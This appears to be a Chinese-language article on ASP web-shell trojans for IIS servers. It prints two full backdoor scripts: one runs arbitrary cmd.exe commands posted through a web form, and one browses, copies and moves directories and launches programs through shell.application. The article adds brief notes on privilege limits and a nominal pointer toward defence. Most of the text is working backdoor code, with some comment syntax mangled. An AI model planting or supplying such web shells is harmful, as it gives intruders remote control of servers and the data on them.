<title>ASP Shell</title> <%@ Language=VBScript %> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next -- create the COM objects that we will be using -- Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") -- check for a command that we have posted -- szCMD = Request.Form(".CMD") If (szCMD <> "") Then -- Use a poor mans pipe ... a temp file -- szTempFile = "C:" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %> <HTML> <BODY> <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=".CMD" size=45 value="<%= szCMD %>"> <input type=submit value="执行命令"> </FORM> <PRE><% If (IsObject(oFile)) Then -- Read the output from our command and remove the temp file -- On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If %> </BODY> </HTML>
但是它的默认执行权限只有GUEST，也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组，那么你就有管理员权限了。这一款木马的特点是，使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO（无组件上传），那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用，所以它相对的适用范围较窄。
对于防范方法让我们看一下它的代码就知道了：
Set oScript = Server.CreateObject("WSCRIPT.SHELL") ＂建立了一个名为oScript的WSCRIPT.SHELL对象，用于命令的执行＂ Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
<%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %> <%response.write now()%><BR>程序所在的物理路径： <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> <html> <title>asps shell.application backdoor </title> <body> <form action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br> <input type=text name=text1 value="<%=szCMD1 %>"> copy <input type=text name=text2 value="<%=szCMD2 %>"><br> <input type=text name=text3 value="<%=szCMD3 %>"> move <input type=text name=text4 value="<%=szCMD4 %>"><br> 路径：<input type=text name=text5 value="<%=szCMD5 %>"> 程序：<input type=text name=text6 value="<%=szCMD6 %>"><br> <input type=submit name=sb value=发送命令> </form> </body> </html> <% szCMD = Request.Form("text") 目录浏览 if (szCMD <> "") then set shell=server.createobject("shell.application") 建立shell对象 set fod1=shell.namespace(szcmd) set foditems=fod1.items for each co in foditems response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>" next end if %> <% szCMD1 = Request.Form("text1") 目录拷贝，不能进行文件拷贝 szCMD2 = Request.Form("text2") if szcmd1<>"" and szcmd2<>"" then set shell1=server.createobject("shell.application") 建立shell对象 set fod1=shell1.namespace(szcmd2) for i=len(szcmd1) to 1 step -1 if mid(szcmd1,i,1)="" then path=left(szcmd1,i-1) exit for end if next if len(path)=2 then path=path & "" path2=right(szcmd1,len(szcmd1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command completed success!" end if %> <% szCMD3 = Request.Form("text3") 目录移动 szCMD4 = Request.Form("text4") if szcmd3<>"" and szcmd4<>"" then set shell2=server.createobject("shell.application") 建立shell对象 set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1 if mid(szcmd3,i,1)="" then path=left(szcmd3,i-1) exit for end if next if len(path)=2 then path=path & "" path2=right(szcmd3,len(szcmd3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if %> <% szCMD5 = Request.Form("text5") 执行程序要指定路径 szCMD6 = Request.Form("text6") if szcmd5<>"" and szcmd6<>"" then set shell3=server.createobject("shell.application") 建立shell对象 shell3.namespace(szcmd5).items.item(szcmd6).invokeverb response.write "command completed success!" end if %>